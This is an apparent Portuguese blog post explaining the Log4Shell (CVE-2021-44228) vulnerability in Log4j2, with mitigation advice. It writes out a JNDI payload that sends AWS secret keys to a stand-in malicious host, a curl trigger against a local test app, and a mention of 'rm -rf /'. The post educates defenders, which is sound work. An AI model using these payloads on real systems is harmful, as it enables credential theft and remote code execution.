Log4Shell - Explorando um servidor Java vulnerável
Tags: java, log4j2, log4shell, security
Published: 2021-12-30 17:57:40

No dia 09/12/2021 tornou-se pública a vulnerabilidade de segurança apelidada de Log4Shell e que foi encontrada na biblioteca Log4j2, amplamente utilizada em todo o mundo. Tal vulnerabilidade registrada como [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) recebeu nota 10 de criticidade face facilidade de exploração e risco gerado uma vez que permite a execução de código remoto (RCE - Remote code execution). Através da execução de código remoto o atacante pode, por exemplo, executar comandos na linha de comando do S.O. que executa a aplicação, dai o nome Log4Shell. 

> Se a aplicação estiver executando com usuário de administrador do sistema (root) o atacante possuirá privilégios de administrador. Por isso a importância de executar aplicações com privilégios limitados.

Com acesso a linha de comando do S.O. o atacante pode fazer o que desejar, desde instalar *ransomwares* e mineradores de criptomoedas a roubar dados e credenciais de acesso e etc.

## A anatomia da vulnerabilidade

Graças a funcionalidade de [Lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html) do Log4j2 e de [JNDI](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html) do Java é possível fazer com que uma aplicação vulnerável realize requisições expondo informações sensíveis ou baixe e execute código de um servidor remoto.

A funcionalidade de Lookups faz a substituição de strings "especiais" antes de logar as mesmas. Tais strings possuem o formato `${name}` onde name pode ser muitas coisas (conforme [documentação oficial]((https://logging.apache.org/log4j/2.x/manual/lookups.html)) entre elas JNDI. No caso de uma string JNDI para resolver (substituir) o valor a ser logado o Log4j2 faz uma requisição a um servidor remoto, sendo ai que mora o perigo. O resultado dessa requisição pode ser código malicioso que será executado pela aplicação vulnerável.

Para explorar a vulnerabilidade o atacante precisa fazer com que uma string maliciosa seja logada pelo Log4j2. 

### Obtendo informações sensíveis

Um exemplo do uso da funcionalidade de Lookups seria logar a string `${env:JAVA_HOME}` que resultaria com o valor da variável de ambiente JAVA_HOME sendo logada, comum em sistemas que executam aplicações Java. Combinando isso com JNDI o atacante poderia tentar enviar a string abaixo para uma aplicação vulnerável:

```
${jndi:ldap://x${env:AWS_SECRET_ACCESS_KEY}-${env:AWS_ACCESS_KEY_ID}.servidor-malicioso.com/a}
```

Resultando em uma requisição LDAP via JNDI ao servidor-malicioso.com onde `${env:AWS_SECRET_ACCESS_KEY}` e `${env:AWS_ACCESS_KEY_ID}` seriam substituídos por informações sensíveis, nesse caso o *secret access key* e o *access key id* da AWS. A informação vazada poderia ser qualquer coisa, como o sistema operacional `${java:os}`, a versão do java `${java:version}` ou **qualquer outra coisa**. Aqui a criatividade e paciência do atacante impera na busca de informações sensíveis.

A figura abaixo representa o fluxo de um ataque que visa a obtenção de informações sensíveis:

![SEQUENCE.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1640870626385/qU9wQcxuFL.png)

Ao logar as requisições recebidas o atacante saberá que recebeu a requisição `jndi:ldap://wJalrXUtnFEMI.servidor-malicioso.com/a`  da `aplicação-vulneravel.com` onde `wJalrXUtnFEMI` é a informação buscada.

Para o exemplo apresentado consideramos que a aplicação vulnerável loga o valor contido no cabeçalho `User-Agent` das requisições recebidas, possibilitando a exploração da vulnerabilidade.

### Executando código remoto

O ataque visando a execução de código remoto segue a mesma linha do que visa a obtenção de informações sensíveis, nesse caso, no entanto, o servidor LDAP ao receber uma requisição devolve uma classe Java com código malicioso que será executado pela aplicação vulnerável.

![JC3fy1TovAl.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1640874715253/scOlOzF1_n.png)

Como dito no início do artigo com a habilidade de executar código no servidor vulnerável o atacante pode, entre outras coisas:
- Instalar *ransomwares* e mineradores de criptomoedas;
- Roubar dados e informações sensíveis;
- Criar e executar arquivos
- Deletar diretórios
- Etc

As possibilidades são infinitas a depender do privilégio do usuário do S.O. que executou a aplicação.

A imagem abaixo demonstra uma PoC que criei em meu computador pessoal onde é injetado em uma aplicação vulnerável código malicioso que abre uma conexão socket e fica esperando requisições com comandos a serem executados na linha de comando do S.O. da aplicação.

![FGvtc2QXMAM1FEi.jfif](https://cdn.hashnode.com/res/hashnode/image/upload/v1640876275486/ZbsAxtE2q.jpeg)

Conforme é possível visualizar na imagem não há sucesso na primeira tentativa de executar o comando `dir` uma vez que o exploit ainda não foi realizado. No entanto, após realizar a requisição com string maliciosa `curl -X GET -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/a}" localhost:8080/log4j2` que ativa o exploit, a segunda tentativa ocorre com sucesso. No exemplo foi executado um comando que não causa dano algum, no entanto poderia ser algo como `rm -rf /`.

> A aplicação foi propositalmente criada para ser vulnerável para fins de testes. Na imagem é possível observar que a aplicação loga o valor contido em User-Agent

## Quem é afetado pela vulnerabilidade

Aplicações que possuem e utilizam o log4j2 para logar informações vindas de fora da aplicação (input de dados) podem está vulneráveis caso não façam o tratamento adequado de tais informações ([CWE-20 - Improper Input Validation](http://cwe.mitre.org/data/definitions/20.html)). A princípio as versões afetadas iam de 2.0-beta9 até 2.14.1. 

No entanto após liberação da versão 2.15.0 que tinha como objetivo a resolução do problema outras vulnerabilidades relacionadas foram encontradas. O time da apache responsável por manter o Log4j2 vem atuando diariamente na resolução das vulnerabilidades detectadas.

### Como se proteger"

Manter as dependências da sua aplicação e do seu ambiente (versão do java) atualizados é a melhor forma de se proteger. As versões mais recentes que visam a resolução do problema são:
- 2.17.1 (Java 8)
- 2.12.4 (Java 7)
- 2.3.2 (Java 6) 

No entanto isso nem sempre é possível. A [página de segurança](https://logging.apache.org/log4j/2.x/security.html) do Log4j2 detalha uma lista de ações que podem ser tomadas para mitigar a vulnerabilidade. Além das ações citadas outras podem mitigar ou atenuar o problema:
- Limitar o tráfego de saída: Se a aplicação vulnerável não puder realizar requisições para hosts desconhecidos não há como expor dados sensíveis ou baixar e executar código malicioso. Desta forma, se você limitar o trafego de saída para hosts conhecidos e confiáveis sua aplicação/servidor estará protegida.
- O uso de um WAF (Web Application Firewall) irá atenuar o problema uma vez que regras no firewall podem bloquear requisições maliciosas analisando se consta na requisição uma string maliciosa.

## Considerações finais

A ideia de escrever esse artigo surgiu no dia em que a vulnerabilidade foi divulgada, no entanto considerei prudente aguardar um pouco afim de que o mesmo não seja usado de forma indevida.

Delimitei como objetivo demostrar como é simples explorar a vulnerabilidade e o risco da mesma, afim de alertar que ações devem ser tomadas para atenuar e se possível mitigar o problema.

A PoC citada no artigo ficou plenamente funcional na madrugada no dia 16/12, conforme postado na tarde do mesmo dia no twitter.

{% twitter 1471532165422845956 %}

Em nenhum momento divulguei e nem irei divulgar o código utilizado. Tão pouco irei ensinar a de fato explorar a vulnerabilidade.

Espero, sinceramente, que as informações aqui passadas sejam utilizadas para o bem.

Cover by [FLY:D](https://unsplash.com/@flyd2069) on [Unsplash](https://unsplash.com/photos/mT7lXZPjk7U)